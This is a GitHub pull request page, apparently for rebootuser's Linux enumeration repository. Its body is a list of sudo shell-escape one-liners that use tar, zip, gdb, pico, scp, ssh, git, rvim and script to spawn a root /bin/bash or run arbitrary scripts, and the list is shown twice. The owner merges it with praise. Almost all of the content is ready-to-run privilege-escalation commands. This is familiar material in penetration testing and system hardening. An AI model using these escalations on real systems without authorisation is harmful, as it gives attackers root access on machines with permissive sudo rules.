Skip to content

Conversation

ghost
Copy link

@ghost ghost commented May 21, 2018

tar:
sudo tar cf /dev/null somefile --checkpoint=1 --checkpoint-action=exec=/bin/bash

zip:

echo '/bin/bash' > myscript && chmod +x myscript && touch somefile

sudo zip /tmp/file.zip somefile -T -TT "./myscript /tmp/t.zip"

gdb:

sudo gdb -q
!/bin/bash

pico:

sudo pico -s /bin/bash
type: "/bin/bash"
[CTRL + T]

scp:

sudo scp -v -S ./shell.sh x:y ./
where shell.sh contains something like "whoami > test"
then run the command: cat test

ssh:

sudo ssh -o ProxyCommand='./shell.sh' localhost:8
 where shell.sh contains something like "whoami > test"
 then run the command: cat test

git:

sudo git help status
!/bin/bash

rvim:
:python import os; os.system("/bin/bash")

script:
sudo script script.sh

tar:
    sudo tar cf /dev/null somefile --checkpoint=1 --checkpoint-action=exec=/bin/bash
zip:
    echo '/bin/bash' > myscript && chmod +x myscript && touch somefile
    sudo zip /tmp/file.zip somefile -T -TT "./myscript /tmp/t.zip"
gdb:
    sudo gdb -q
    !/bin/bash
pico:
    sudo pico -s /bin/bash
    type: "/bin/bash"
    [CTRL + T]
scp:
    sudo scp -v -S ./shell.sh x:y ./
    where shell.sh contains something like "whoami > test"
    then run the command: cat test
ssh:
    sudo ssh -o ProxyCommand='./shell.sh' localhost:8
    where shell.sh contains something like "whoami > test"
    then run the command: cat test
git:
    sudo git help status
    !/bin/bash
rvim:
    :python import os; os.system("/bin/bash")
script:
    sudo script script.sh
@rebootuser rebootuser merged commit 06283c7 into rebootuser:master May 24, 2018
@rebootuser
Copy link
Owner

Great work!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant